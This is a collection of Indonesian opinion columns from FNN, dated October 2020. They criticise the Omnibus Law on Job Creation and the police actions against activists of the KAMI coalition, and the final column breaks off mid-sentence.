by Salamuddin Daeng Jakarta FNN - Kamis (22/10). Jika benar naskah yang disyahkan DPR dan selanjutnya dikirim ke Presiden adalah naskah 812 halaman, maka saya dapat menyimpulkan bahwa Undang-Undang cipta kerja adalah undang-undang tentang masuk hutan dan kuasai tanah. Pantas saja para pegiat lingkungan dan masalah pertanahan uring uringan. Seluruh organisasi sosial yang peduli masalah lingkungan hidup dunia sesak nafas mendengar Undang-Undang Omnibus Law Cipta Kerja ini. Bayangkan, dalam naskah Undang-Undang Cipta Kerja yang saya terima dari salah seorang anggota DPR-RI tersebut, terdapat 993 kata izin, yang merupakan kata paling banyak dalam Undang-Undang ini. Boleh jadi Undang-Undang ini adalah Undang-Undang tentang Perizinan dan Investasi. Namun yang mengagetkan, ternyata kata paling banyak setelah izin adalah kata hutan yakni terdapat 370 kata. Luar biasa ternyata. Ini Undang-Undang tentang izin masuk hutan. Lalu masuk hutan buat apa? Ternyata kata paling banyak lainnya selain hutan adalah tanah, yakni sebanyak 285 kata tanah. Sedikit lebih banyak dari kata laut dan air. Dengan demikian Undang-Undang ini masih seputar investasi hutan, tanah dan air. Jadi yang dimaksud dengan cipta kerja atau pekerjaan yang diciptakan tersebut ternyata pekerjaan di dalam hutan dan berurusan dengan tanah. Padahal dulu pada saat Undang-Undang Cipta Kerja atau Omnibus Law pertama kali diwacanakan, saya sendiri menduga ini akan ada terobosan besar menyambut era Information and Communication Technology (ICT). Undang-Undang yang terkait dengan digitalisasi, fintech, era keterbukaan informasi, yang memerlukan dukungan Omnibus Law. Ternyata dugaan saya keliru, karena di dalam Undang-Undang ini hanya ada 11 kata tentang digital. Itupun maksudnya cuma mempublikasikan lewat digital. Mungkin aparat negara diminta sering-sering menggunakan facebook atau ngetwit. Sekarangpun masih banyak yang beranggapan bahwa Undang-Undang Omnibus Law Cipta Kerja adalah dalam upaya menciptakan lapangan kerja. Tempat kerja untuk kaum milenial, angkatan kerja baru, anak anak muda, genersi Z dan lebih jauh generasi Alfha. Apakah lapangan kerja baru itu adalah masuk ke dalam hutan? Menggali tanah dan enanam pohon? Atau apa? Berhubung jaman berburu sudah berakhir, seiring dengan berakhirnya era homo soloensis, maka kuat keyakinan bahwa yang dimaksud cipta kerja itu bukan peberburuan di hutan. Undang-Undang ini tampaknya membawa kita kembali ke jaman kolonial dulu. Bukan jaman purbakala, yakni melaksanakan perintah VOC atau Londo untuk masuk hutan, dan tebang pohon. Sistem yang dipake mungkin sama dengan tanam paksa, atau mungkin rodi atau mungkin sedikit lebih liberal yakni sewa tanah. Namun yang pasti ini tenaga kerja baru masuk hutan dulu dan tebang pohon, lalu dapat gaji dari para cukong atau investor. Dalam Undang-Undang Omnibus Law ini ada 143 kata investasi. Wallahualam Bishawab. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI).

Dr. Ahmad Yani SH. MH Sudah Benar

by Dr. Margarito Kamis, SH.M.Hum Jangan lupa bahwa orang yang berlaku tidak adil berarti dia tidak takwa. Selalu awaslah terhadap hal-hal yang perlu bagi pengurusan kerajaan. Setiap saat tetaplah berpikir seperti mukmin sejati dalam masalah-masalah yang anda hadapi dengan keluhuran yang sempurna, dan sederhana serta perasaan kasih sayang dan keadilan (Al-Ghazali 1058–1111). Jakarta FNN – Kamis (22/10). Awal malam yang dingin dan mengasyikan di Kantor Dr. Ahmad Yani SH. MH, mendadak berubah. Memanas dan menyentak, merobek akal sehat. Sebab di kantor yang tengah berlangsung pertemuan membicarakan Masyumi Reborn, mendadak kedatangan tamu tak biasa. Tak biasa, bukan karena jumlah yang datang itu bukan aktivis politik. Tetapi maksud kedatangannya tak bisa dientengkan. Itu sebabnya siapapun yang mengukir hidupnya dengan kesantunan dan keluhuran martabat, tak mungkin tak dirundung tanya atas keadaan aneh itu. Apa gerangan orang-orang ini malam-malam datang? Apa yang mau dicari? Untuk urusan sepenting apa? Pertanyaan seterusnya pasti berceceran dialam pikir setiap orang santun untuk merespon peristiwa tiba-tiba itu. Tetapi semua tanya itu segera jelas sesaat kemudian. Urusannya berinduk pada hukum, dan Dr. Ahmad Yani yang sedang dicari. Oke. Ngobrol atau Coba Tangkap? Apakah doktor ini pernah dipanggil secara resmi, tetapi tidak pernah mau penuhi panmggilan itu sehingga harus ditangkap? Polri melalui Kadiv Humasnya, punya pendapat sendiri. Tidak menangkap. Hanya komunikasi. Polri seperti dilansir RMol 20/10/2020 mengklaim, datangnya penyidik Bareskrim Polri ke kantor Ahmad Yani di Matraman, Jakarta Pusat pada Senin (19/10) malam sekadar komunikasi. “Enggak ada. Kita baru datang dengan komunikasi ngobrol-ngobrol saja. Jadi ngobrol-ngobrol yang bersangkutan bersedia sendiri untuk hari ini hadir ke Bareskrim,” kata Kepala Divisi Humas Polri Inspektur Jenderal Polisi Argo Yuwono (RMol, 20/10/2020). Ngobrol-ngobrol soal apa? Sebab dari penuturan Kadiv Humas yang dilansir RMol 21/10/2020 kedatangan mereka malam itu untuk melakukan penyelidikan. Untuk kasus apa? Kasusnya berkaitan dengan adanya tindakan anarkis saat aksi menolak omnibus law UU Cipta Kerja tanggal 8 Oktober 2020 yang lalu. Menariknya, Dr. Ahmad Ahmad Yani memiliki cerita sendiri atas peristiwa itu. Saat dihubungi wartawan Republika.co.id pada Selasa (20/10) pagi, Ahmad Yani membenarkan upaya penangkapan atas dirinya, yang terjadi sekitar pukul 19.15 WIB. Iya benar seperti itu (ada percobaan penangkapan). Saya ada di kantor dan saya tanya apa dasarnya perbuatan melanggar hukum apa yang saya lakukan? kata Ahmad Yani pada Republika.co.id. Menurut Ahmad Yani, petugas kepolisian tak bisa menjelaskan apa alasan upaya penangkapan itu. Polisi yang datang, kata dia, hanya menjelaskan soal keterlibatan Ahmad Yani terkait narasi video Youtube yang disebut oleh aktivis KAMI, Dr. Anton Permana dalam pemeriksaan. Anton Permana sendiri sebelumnya telah ditangkap terlebih dahulu oleh polisi. Namun, penjelasan penyidik Bareskrim Polri ini tidak dapat diterima Ahmad Yani. Sebab, narasi yang dimaksud, menurutnya adalah sikap resmi Koalisi Aksi Menyelamatkan Indonesia (KAMI) yang telah disiarkan pada publik secara luas. (Republika. Co.id, 20/10/2020). Bagaimana ujung kasus ini? Berhenti hingga dititik senin malam yang lucu itu? Dilansir CNNIndonesia.com (21/10/2020) Badan Reserse Kriminal (Bareskrim) Polri segera memanggil Ketua Komite Eksekutif KAMI Ahmad Yani untuk diperiksa. Namun, jadwal pasti pemeriksaan Ahma Yani belum diketahui. "Rencana akan dipanggil, kita tunggu pelaksanaannya," kata Kepala Biro Penerangan Masyarakat Divisi Humas Polri Brigadir Jenderal Awi Setiyono saat dikonfirmasi, Rabu (21/10). Ngobrol-ngobrol atau mau menangkap Ahmad Yani? Kalau sekadar ngobrol-ngobrol, mengapa maksud itu tidak disampaikan sedari awal kedatangan kepada Ahmad Yani? Mengapa video yang dimasalahkan itu, baru diperlihatkan kepada Yani setelah Yani bereaksi? Apakah mereka dibekali surat penangkapan? Bila ya, akan terasa konyol sekali. Bukankah kedatangan itu untuk sekadar ngobrol-ngobrol? Bagaimana nalarnya? Apakah percobaan penangkapan hanya karangan Dr. Ahmad Yani? Bila ya, untuk apa? Ahmad Yani yang mantan anggota Komisi Hukum DPR itu kan sangat terlatih berpikir khas Yuris, dan mengerti konsekuensi hukum bila mengarang cerita itu. Pertanyaan-pertanyaan kecil yang menggelikan itu, pasti dikemukakan siapapun yang mengikuti peristiwa itu. Soal-soal itu tidak memerlukan penalaran hukum yang ketat dan cermat. Cukup hanya dengan akal sehat saja, pertanyaan-pertanyaan itu bisa ditemukan. Sangat sederhana. Apakah pertanyaan atau masalah yang lahir dari penalaran akal sehat itu, mengandung konsekuensi hukum? Ah sudahlah. Nantilah. Perlukah menimbang secara serius “panggilan” kepada Dr. Ahmad Yani? Panggilan pertama, panggilan kedua atau panggilan ketiga? Ah nanti saja. Pasal 28D UUD 1945 Apakah disitu masalahnya? Jelas tidak. Masalahnya ya isi video Youtube, yang merupakan pernyataan resmi KAMI. Apakah isi video itu dapat dikualifikasi pidana? Bila ya, soalnya bagaimana penalarannya? Andai isi video itu berisi pernyataan dukungan terhadap demonstrasi buruh, apakah pernyataan dukungan itu memiliki sifat pidana? Kalau iya, tolong tunjukan dalam hukum mana, di muka bumi ini atau di planet mana, demonstrasi dapat dikualifikasi sebagai pidana? Mau menganalisis dengan menggunakan semua peralatan dan sarana interpretasi ilmu hukum atas hal sesepele itu? Untuk saat ini, itu pekerjaan sangat membuang-buang waktu. Suatu hari nanti mungkin analisis semacam itu diperlukan. Tetapi tidak untuk saat ini. Pembaca FNN yang budiman. Hari-hari ini akan jadi hari yang begitu hebat, bila sejenak saja Ahmad Yani, yang ahli hukum ini, menelusuri lembaran-lembaran hitam hukum rezim otoriter Orde Lama dan Orde baru dulu. Kisah keangkuhan dan kesombongan hukum khas rezim revolusioner itu, layak untuk diselami. Dipenjaranya Pak Sjafruddin Prawiranegara, dan lainnya, termasuk Buya Hamka dimasa rezim revolusi orde lama, manis untuk dikenali. Politik dan hukum revolusi bekrja dengan cara yang tak bisa diprediksi. Manis diawal, mencemaskan di tengah dan menjijikan di ujung. Begitu tipikalnya. Almarhum Pak Sjaf, Presiden Republik Persatuan Indonesia (PRI) yang diproklamasikan pada tanggal 1 Februari 1960 di Bonjol dan kawan-kawan di PRRI/Pemesta diberi amnesti dan abolisi. Amnesti dan abolisi itu diatur dalam 449 tahun 1961. Mereka dikembalikan ke pangkuan ibu pertiwi. Manis. Amnesti? Ini pengecohan. Pak Sjaf dan kawan-kawan malah ditahan. Mula-mula ditahan di Cipayung, sebelum akhirnya tahun 1962 dipindahkan ke Colo, desa kecil dekat Kudus, terletak di lereng gunung Muria. Pak Sjaf ditempatkan pada sebuah rumah peristirahatan milik satu perusahaan rokok. Tanggal 1 Mei 1963 kedaan bahaya perang dinyatakan berakhir. Mengira pencabutan keadaan bahaya perang menandai naiknya ufuk cerah dipagi hari, Pak Sjaf girang. Ternyata demokrasi terpimpin, yang membimbing revolusi, punya hukum sendiri. Pak Sjaf tak bisa segera menghirup udara bebas layaknya warga negara bebas. Tidak. Pak Sjaf malah mengalami nasib yang lebih buruk. Kalau sebelumnya ditahan dirumah peristirahatan, kali ini malah ditahan di Rumah Tahanan Militer ( RTM) Jakarta. Revolusi ini benar ditopang dengan hukum. Selain Penetapan Presiden (Pen. Pres) Nomor 3 Tahun 1962 juga Penpres Nomor 11 Tahun 1963. Pada penpres Nomor 3 Tahun 1962 diatur pemberian kuasa kepada Jaksa Agung atas petunjuk Presiden/Pimpinan Besar Revolusi menunjuk orang yang “dianggap membahayakan tujuan revolusi” ditahan di satu tempat tertentu sebagai tempat berdiam sementara. Pen. Pres buruk ini akhirnya dicabut, dan diganti dengan Pen. Pres yang lebih buruk, yakni Pen.Pres Nomor 11 Tahun 1963, tentang Pemberantasan Subversi. Dengan Pen. Pres inilah drama penahanan permanen Pak Sjaf berawal. Pak Sjaf dikeluarkan dari Culo, di Lereng Gunung Muria, untuk dipindahkan dan ditahan di RTM di Jalan Budi Utomo. Di RTM itu Pak Sjaf menjalani joroknya hukum revolusi. Terus berada di RTM hingga tanggal 17 Mei 1966 (Lihat Ajib Rosidi, 2011, hal 340-373). Pak Sjaf bebas setelah Presiden Soekarno, Pemimpin Besar Revolusi itu kehilangan kekuasannya secara materil. Mengarang bebas kasus, tangkap dan penjara, begitulah hukum rezim revolusi Orde Lama itu memukul Buya Hamka. Kasusnya dikarang-karang, lalu Ulama ini ditangkap, ditahan dan diperlakukan kasar oleh Soegondo dan Muljo Kosoemo, dua penyidik dalam kasusnya, (Lihat Haidar Musyafa, 2018, hal 661-665). Bagaimana dengan Orde Baru? Yang dikenal umum dengan orde pembangunan itu? Sama dalam banyak aspek. UU Subversi tersebut, tetap saja dipertahankan dan Pak Harto untuk membimbing dan mengawal pelaksanaan pembangunan. Persis seperti Orde Lama, ada saja orang yang berbeda pendapat dengan pemerintah. Orang-orang yang dikenal sebagai fungsionaris Petisi 50 adalah satu elemennya. Kawakan secara individual, mereka menerbitkan buku putih tentang Peristiwa Priok Desember 1984. Tetapi seperti Orde Lama, beberapa diantara mereka berakhir di penjara. Politik punya cara sendiri mengoreksi keangkuhan penguasa. Mirip Presiden Soekarno, Pak Harto, pria murah senyum ini, harus mundur dari kekuasaan yang telah lama digenggamnya. Demonstrasi berkepanjangan dan berdarah kalangan mahasiswa menjadi sebab terbesar pengunduran diri itu. Manis betul politik mengukir eksistensi pada waktu lain. Wakil Presiden Habibie, naik jadi Presiden menggantikan Pak harto. Pria kecil yang sangat rasional ini membelah keangkeran politik. Kebesaran akal sehat dan jiwa demokratisnya membawa pemerintahannya membebaskan semua tahanan politik. Berbeda pendapat ko dipenjara? Itulah hembusan jiwa demokratisnya. Habibie top marco top. Hal hebat itu, terluka bahkan tercampakan malam itu. Tetapi beruntung Dr. Ahmad Yani, yang ahli hukum ini, mempertanyakan hal-hal teknis kepada polisi yang mendatanginya. Sangat refleksif untuk sejumlah aspek. Demokrasi yang terbimbing dengan UUD 1945 dan KUHAP, membenarkannya. KUHAP yang secara partikular dapat dianalogikan sebagai Habes Corpus Act itu, jelas mengatur kaidah menemukan perbuatan pidana, pemanggilan, pemeriksaan, penahan, penangkapan, dan lainnya. Habes Corpus Act yang mengawali eksistensi dalam sistem hukum Inggris tahun 1679, pada masa raja Charles II. Ini sangat hebat. Habes Corpus Act punya tujuan mulia. Untuk mencegah kewewenang-wenangan penguasa, karena kesewenang-wenangan bukan hanya menandai keangkuhan yang bodoh. Tetapi menghina harkat dan martabat kemanusiaan yang berakal menjadi terhina-dina. Itulah yang mau dipromosikan Habes Corpus. Dr Ahmad Yani benar mengambil titik pijak pada pasal 28D ayat (1) UUD 1945. Pasal ini, khususnya ayat (1) berakikat sebagai petition of right. Aparatur hukum harus menjelaskan secara spesifik dan detail perbuatan apa yang dituduhkan kepada warga negara? Tanpa kecuali siapapun orangnya. Tidak boleh sewenang-wenang. Akhirnya, suka atau tidak Dr. Yani telah menghidupkan elemen esensial rule of law. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

KAMI Sangat Ditakuti Gerombolan Penista Moral

by M Rizal Fadillah Bandung FNN – Kamis (22/10). Gagasan perlunya ada koalisi masyarakat sipil (civil society) melalui kebersamaan tokoh-tokoh yang memiliki komitmen untuk menyelamatkan bangsa dari keterpurukan teralisasi dengan Deklarasi Koalisi Aksi Menyelamta Indonesia (KAMI) pada tanggal 18 Agustus 2020 di Tugu Proklamasi Jakarta. Tiga orang tokoh bangsa didaulat untuk memimpin KAMI sebagai Presidium. Mereka adalah Profesor DR. Din Syamsuddin, Profesor DR. Rochmat Wahhab, dan Jenderal TNI (Purn.) Benaran Gatot Nurmantyo. Maksud saya Gatot bukanlah Jenderal Purnawirawan Kehormatan (Hor). Meskipun tampil dengan jati diri "tidak ada hubungan organisasional atau struktural" geliat keberadaan dan kehadiran KAMI di tingkat Provinsi maupun Kabupaten/Kota tetap terasa. Deklarasi dilakukan dimana-mana. Meskipun selalu saja ada gangguan dan hambatan dari arapat dan penguasa di daerah. Anjing menggonggong kafila terus saja berlalu. KAMI tetap saja deklarasi di Provinsi dan Kabupaten/Kota. Dengan kegigihan yang berbasis tawakkal kepada Allah, maka KAMI terus terbentuk di berbagai daerah. KAMI yang isinya adalah lintas faham, lintas eksponen, bahkan lintas agama. Karena punya cita-cita dan keinginginan yang sama, yaitu menyelamatkan bangsa dari kerterpurukan yang lebih dalam. Spirit menyelamatkan bangsa adalah aksi dialogis, aksi kritis, aksi memperkuat nilai-nilai moral ideologis. Gerakan moral hadir bukan untuk membuat rusuh atau merusak. Bukan pula gerakan yang merekayasa kerusuhan dan kerusakan. Sebab yang seperti itu adalah gerakan yang nir-moral. Fondasi berdirinya KAMI bukan untuk itu. Tidak juga yang seperti itu. Karena KAMI yang tampil sebagai kekuatan moral inilah yang kemudian sangat ditakuti oleh mereka yang tergabung dalam gerombolan penista moral. Baik itu gerombolan penista moral di bidang ekonomi maupun politik, dan sosial budaya. Ujung-ujunganya KAMI harus difitnah sebagai dalam kerusahan. Tidak sampai disitu saja. Gerombolan penista moral juga menyudutkan dan menuduh KAMI sebagai aktor atau dalang dibalik demonstrasi besar-besaran para buruh, mahasiswa, pelajar dan masyarakat yang merata di seluruh tanah air belakangan ini. Demonstrasi yang menolak UU Omnibus Law Cipta Kerja (Cilaka). UU yang hanya untuk menguntungkan pengusaha, korporasi, dan konglomerasi busuk, licik, picik, tamak dan culas. Padahal tanpa difitnahpun sikap KAMI sama dengan para buruh, mahasiswa, pelajar dan masyarakat yang menolak disahkannnya UU Cilaka. Akibatnya, beberap deklataror dan Komite Eksekutif KAMI ditangkap-tangkapin, dengan alasan yang sangat ecek-ecek dan picisan. Alasan yang dibuat-buat hanya untuk mengekang, menekan dan menakut-nakuti kekuatan civil society yang berbeda pendapat dengan penguasa dalam hal pengelolaan negara. Penangkapan yang sangat "bermuatan politis" terjadi. Sejumlah Deklarator dan Komite Eksekutif KAMI yang ditangkap adalah Dr. Syahganda Nainggolan, Muhammad Jumhur Hidayat, dan Dr. Anton Permana dan lain-lain. Begitu juga di Sumatera Utara 4 aktivis KAMI ditangkap. Sementara di Jawa Barat Posko Kesehatan KAMI diobrak-abrik. Simpatisan KAMI ada juga yang menjadi tersangka. KAMI Jawa Barat di framing mendanai demo. Hal yang tentu saja telah dibantah. Landasan hukum yang dipakai aparat kepolisian untuk menangkap-nangkapin aktivis KAMI adalah UU ITE. Murip dengan pola yang dipakai oleh penguasa Orde Lama dan Orde Baru yang menggunakan UU Suversif untuk menekan dan menakut-nakuti kelompok oposisi dan kekuatan sivl society yang tergabung dalam kelompok kerja “Petisi 50”. Siapa saja yang tampil mengkritik penguasa Orde Lama dan Orde Baru dianggap sebagai subversif. Makanya harus ditangkap, ditahan dan dipernjarakan. Tragisnya, ada ditahan bertahun-tahun tanpa diadili seperti Pak Buya Hamka dan Profesor Syafrudin Prawiranegara. KAMI kini adalah kekuatan baru yang menjadi sasaran pelumpuhan dari penguasa. Ini akibat dari suara kritis KAMI kepada Pemerintah. Penguasa juga menambah target pelumpuhan dari yang sudah lama seperti HTI dan FPI. KAMI itu fenomenal, karena disamping usianya baru dua bulan, juga merupakan koalisi dari banyak figur terbaik anak bangsa. Isinya para cendekiawan, purnawirawan, agamawan, maupun aktivis perjuangan yang cukup berpengaruh. Terhadap tekanan yang juga berbau fitnah, mungkin berdampak bagi KAMI yang secara opsional atau beberapa kemungkinan. Pertama, KAMI mungkin saja goyah dan menurun daya dukung publik akibat serangan pembusukan pihak tertentu. KAMI juga mungkin mengalami goncangan akibat turbulensi. Kedua, KAMI tetap bergerak, namun tidak berlari cepat. Dukungan publik kepada KAMI masih cukup besar. Ada sebagian yang awalnya mendukung terang-terangan menjadi diam-diam. Ketiga, KAMI semakin memiliki daya dukung yang lebih kuat. Tekanan-tekanan yang berbau fitnah atau penzaliman justru memberi hikmah, simpati dan penguatan support untuk tetap melakukan perlawanan moral kepada penguasa dalam mengkritisi tata kelola negara. KAMI tetap kritis dalam suasana apapun. Dari opsi atau kemungkinan yang dapat terjadi, potensi pengembangan KAMI jauh lebih dominan. KAMI tidak akan runtuh. KAMI insya Allah tidak akan kalah oleh fitnah. KAMI harus dan akan terus melangkah. Kedzaliman mungkin saja mampu berkacak pinggang untuk waktu sesaat. Tetapi tidak akan mampu sepanjang waktu. Ingat itu baik-baik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Dilihat Sebagai Oposisi Terkuat, KAMI Akan Ditekan Terus

by Asyari Usman Jakarta FNN - Rabu (21/10). Pada saat ini, praktis tidak ada lagi kekuatan yang bisa mengawasi dan mengimbangi penguasa. Semua sudah berada dalam genggaman mereka. Para penguasa telah mengkooptasi kekuatan-kekuatan politik. Hampir semua parpol di DPR sudah berubah menjadi suruhan penguasa. Hanya PKS yang masih beroposisi. Sikap PKS yang tak sudi dikooptasi penguasa, membuat partai kecil ini menjadi bulan-bulanan penguasa dan para buzzer. Di tengah kondisi tanpa oposisi di parlemen, rupanya masih ada ratusan tokoh masyarakat dan bangsa yang terpanggil. Mereka merasa tergerakkan untuk menyelamatkan Indonesia. Para tokoh itu pun berkumpul dan sepakat membentuk Koalisi Aksi Menyelamatkan Indonesia yang disingkat KAMI. Ada Prof Din Syamsuddih (mantan ketum PP Muhammdiyah), Jenderal Gatot Nurmantyo, Rochmat Wahab (ketua Komite Khittah NU 1926), Abdullah Hehamahua, Prof Refly Harun (pakar hukum tata negara), Dr Chusnul Mar’iyah, Ilham Bintang (wartawan kawakan), M Said Didu, dll. Bahkan, Rocky Gerung juga terpanggil untuk bergabung. Banyak lagi figur-figur berintegritas yang berhimpun di KAMI. Tidak hanya di Jakarta. Para tokoh daerah pun berduyun-duyun ikut. Mereka mendaklarasikan diri di banyak provinsi dan kabupaten-kota. Dalam waktu singkat, KAMI menjadi kekuatan moral yang membuat para penguasa gelisah. Mereka gelisah karena bakalan ada gerakan kuat yang akan mempersoalkan moral mereka. Kondisi amburadul dan penuh kezoliman di Indonesia saat ini berpunca dari masalah moral. Para penguasa secara berjemaah telah kehilangan moral. Atau bisa juga mereka beramai-ramai membuang asas moralitas. Tampaknya, para penguasa tidak menduga kemunculan gerakan moral KAMI yang ‘credible’ dan disambut luas di seluruh negeri. Seketika itu “alarm antimoral” di kalangan penguasa otomatis menyala. Seluruh jaringan kekuasaan yang kini bobrok itu, terbangun. Mereka merasa terancam. Kesewenangan dan kezoliman mereka tak bisa lagi sesuka hati. Ibarat jaringan penguasa telah ditulari virus ‘immorality’, KAMI hadir sebagai vaksin yang akan melumpuhkan jaringan tanpa moral itu. Tentu saja virus antimoral menolak kehadiran vaksin pemulihan moralitas. Dan virus antimoral itu sudah terlanjur sangat kuat. Tetapi, KAMI tidak akan mundur. Prof Din Syamsuddin dan Gatot Nurmantyo telah dengan tegas mengatakan bahwa mereka akan jalan terus. Mereka beralasan, yang mereka lakukan adalah langkah-langkah yang sangat logis. Dan sangat diperlukan. Sebelum Indonesia terjerumus sangat dalam. Hari-hari ini, ada kekuataan besar yang ingin menghapuskan Pancasila, khususnya sila Ketuhanan Yang Maha Esa. Kemudian, ada upaya untuk mencelakakan rakyat dan negara lewat UU Omnibus Cilaka (Cipta Lapangan Kerja). Ada kesan, UU ini merupakan regulasi yang diinginkan oleh para cukong, para pemodal rakus. Para penguasa serentak mendukung UU Cilaka. KAMI melihat muslihat yang akan mencelakakan rakyat lewat UU ini. Para penguasa melihat KAMI akan menjadi rintangan besar. KAMI akan membangkitkan kesadaran rakyat. Akan membangunkan rakyat melawan kesewenangan dan kezoliman. Para penguasa telah mengkalkulasikan dampak gerakan moral KAMI. Para penguasa tampaknya merasa terancam. Sangat masuk akal bahwa pihak penguasa akan melakukan segara cara untuk menghadang atau bahkan mematikan KAMI. Fitnah adalah salah satu bentuk serangan terhadap perhimpunan yang berintegritas itu. KAMI dituduh menunggangi aksi demo yang menentang UU Omnibus Law Cilaka (Cita Lapangan Kerja). KAMI hendak dipojokkan dengan cara ini. Cara lainnya adalah melakukan “terapi kejut” (shock therapy). Bisa juga disebut intimidasi. Menangkap, menahan, dan kemudian mempertontonkan para aktivis senior KAMI dalam keadaan diborgol dan berompi oranye, merupakan cara untuk menakut-nakuti komunitas KAMI. Inilah cara yang sangat tercela. Para pelaku pidana yang jelas-jelas merugikan negara, malah lebih dihormati. Diperlakukan dengan baik. Barangkali, “terapi kejut” ini bertujuan untuk menciutkan perjuangan mulia mereka untuk menyelamatkan Indonesia. Padahal, itu semua miskalkulasi. Khalayak (publik) malahan bersimpati. Publik tahu ada banyak koruptor besar dan bandar-bandar narkoba yang diperlakukan dengan baik. Tapi, begitulah para penguasa melihat KAMI. Akan ditekan terus. Karena, mereka menganggap KAMI sebagai oposisi terkuat saat ini. Sedangkan KAMI hanya perhimpunan orang-orang yang melakukan gerakan moral. Mereka tidak melakukan perampokan kekayaan rakyat. Mereka bukan orang yang menggadaikan kedaulatan bangsa dan negara. Penulis adalah Wartawan Senior FNN.co.id.

Kebangsaan Kita di Ujung Tanduk

by Zainal Bintang Jakarta FNN – Rabu (21/10). Persetujuan DPR RI atas UU Cipta Kerja (Cilaka) dalam sidang pleno 5 Oktober 2020 sudah diketok. Banyak kalangan menganggap keputusan itu dipaksakan. Menimbulkan ekses unjuk rasa hari-hari berikutnya. Melibatkan kalangan buruh, mahasiswa dan pelajar serta masyarakat. Berujung pada kerusuhan dan kerusakan. Ratusan provokator unjuk rasa anarkis ditindak. Sejumlah mahasiswa, pelajar dan tokoh aktivis diamankan polisi. Kebebasan berpendapat masyarakat sipil ikut-ikut “terborgol”. Adu argumentasi dan polemik terbuka di ruang publik antara pejabat negara dengan aktor non negara memanas. Bukan hanya sejumlah fasilitas umum mengalami kerusakan. Harmoni masyarakat dan diskursus publik juga menderita kerusakan. Sikon politik dilanda ketegangan. Mitigasi bencana pandemi tersendat. Masyarakat terbelah. Nasib demokrasi lalu dipertanyakan. Ada apa dengan demokrasi di Indonesia? Apakah telah terjadi evolusi proses pelemahan demokrasi? Sejumlah analisis ilmuan dan pakar politik dalam dan luar negeri menyebutkan demokrasi di dunia sedang mengalami kemunduran. Nancy Bermeo, ilmuwan politik Amerika menyebutkan telah terjadi “kemunduran demokrasi” atau sedang terjadi semacam erosi demokrasi (democratic erosion). Pada salah satu artikelnya “On Democratic Backsliding” (Kemunduran Demokrasi), Nancy berkata, bahwa bentuk kemunduran demokrasi yang mencolok, seperti yang klasik ”kudeta terbuka dan penipuan hari pemilihan”. Praktek ini telah menurun sejak akhir Perang Dingin. Tetapi, sementara itu bentuk kemunduran yang lebih halus dan "menjengkelkan" telah meningkat. Bentuk kemunduran yang terakhir, menurutnya, “melibatkan kelemahan lembaga-lembaga demokrasi dari dalam. Bentuk-bentuk halus ini sangat berbahaya ketika mereka dilegitimasi melalui institusi yang seharusnya melindungi nilai-nilai demokrasi,” ujarnya dalam artikel itu yang dipublikasi “Journal of Democracy - Johns Hopkins University Press (January 2016). Mengutip laporan Freedom House (2020), peneliti Burhanuddin Muhtadi (43) dalam tulisannya “Demokrasi Berakal Budi” (Kompas, 2020) menyebut, dunia sedang dilanda resesi demokrasi. Kini, peringkat demokrasi Indonesia terjerembab ke peringkat 64 dengan skor hanya 6,39. Artinya, kata Direktur Eksekutif Indikator Politik itu, kita berada di dasar paling bawah kategori “flawed democracies” (negara demokrasi yang cacat). Menurut lembaga pemeringkat demokrasi terkemuka di dunia yang dikutipnya, “rapor merah Indonesia terletak pada kebebasan sipil dan kultur politik, terutama menguatnya intoleransi dan politik identitas”. Kenyataan ini semakin diperparah dengan penangkapan-penangkapan terhadap akvitis pro demokrasi yang berbeda pendapat dengan pemerintah seperti Syahganda Dr. Nainggolan, Muhammad Jumhur Hidayat, Dr. Anton Permana dan lain-lain. Berbicara tentang kemunduran demokrasi, jauh sebelum Muhtadi, telah lebih dahulu Aurel Croissant (professor ilmu politik Universitas Heidelberg, Jerman) bersama Larry Diamond (sosiolog politik Amerika) menulis “Introduction: Reflections on Democratic Backsliding in Asia” (Global Asia Maret 2020). Di seluruh dunia, kata mereka, demokrasi sedang menghadapi masa-masa sulit. Adapun tantangannya, diuraikan, terkait kualitas demokrasi sedang menurun di sejumlah negara demokrasi maju dan baru, dan laju kegagalan demokrasi semakin cepat. Pada saat yang sama, keterbukaan demokrasi sedang dibatalkan dalam sistem politik yang sebelumnya mengalami semacam liberalisasi politik, namun kini otokrasi kembali mengeras. “Kemerosotan pemerintahan demokrasi telah menjadi perhatian utama para pembuat kebijakan. Juga menjadi perhatian para aktivis pro demokrasi, akademisi dan warga di seluruh dunia”. Persetujuan DPR RI atas UU Cipta Kerja dengan format Omnibus, yang dikampannyekan pemerintah, termasuk presiden Jokowi, bahwa sesungguhnya bertujuan menciptakan “pemerataan kenyamanan”. Namun pada kenyataanya meleset . Malah menimbulkan “pemerataan kemarahan” masyarakat yang direpresentasikan melalui kalangan buruh, mahasiswa dan bahkan pelajar. Ekses buruk penolakan publik terhadap UU Cipta Kerja memantik kembali “pembelahan” masyarakat. Menandai kemunduran demokrasi atau lahirnya “flawed democratic”. Mengapa elemen mahasiswa bangkit membangun “perlawanan” masif mengambil alih urusan protes kalangan buru? Benang merahnya ada. Karena mahasiswa dan pelajar itu adalah putra-putri kaum buruh. Kenyataan ini yang menjelaskan mengapa mereka sangat sensitif dan tidak bisa dipisahkan dari penderitaan dan perjuangan kaum buruh. Inilah mengapa mahasiswa dan pelajar itu lebih mudah tersentuh? Karena merteka merasakan adanya ancaman ketidakadilan yang tersimpan di dalam UU Cipta Kerja. Konsistensi perlawanan mahasiswa yang diperlihatkan dalam kasus penolakan UU Cipta Karya, dapat dibaca sebagai jawaban atas kekalahan mereka di dalam berbagai momentum unjuk rasa sebelumnya. Kasus jatuhnya korban dua orang mahasiswa yang tewas tertembak aparat pada unjuk rasa mahasiswa (26/09/2019) di Kendari, Sulawesi Tenggara karena menentang revisi UU KPK telah menorehkan luka pada mahasiswa maupun terhadap demokrasi itu sendiri. Kontroversial UU Cipta Kerja membuka ruang mahasiswa membangun integrasi konsolidasi nasional guna menjawab panggilan sejarah. Sebagai jaringan rantai pasok energi perjuangan masyarakat sipil (civil society) melawan ketidakadilan yang beririsan dengan pelemahan demokrasi. Gerakan mahasiswa yang spontan dan merata di seluruh Indonesia. Mereka tampil dengan gagak untuk menentang ketidakadilan. Mereka kini kembali memperkuat jaringan lapisan perjuangan masyarakat sipil untuk melindungi demokrasi dari upaya pelemahan sistemik negara. Indikasi pelemahan demokrasi secara pelan tapi pasti. Gejalanya mulai terlihat pada tahun terakhir dan awal pemerintahan kedua Jokowi. Merujuk pada kasus pemaksaan berlakunya revisi UU 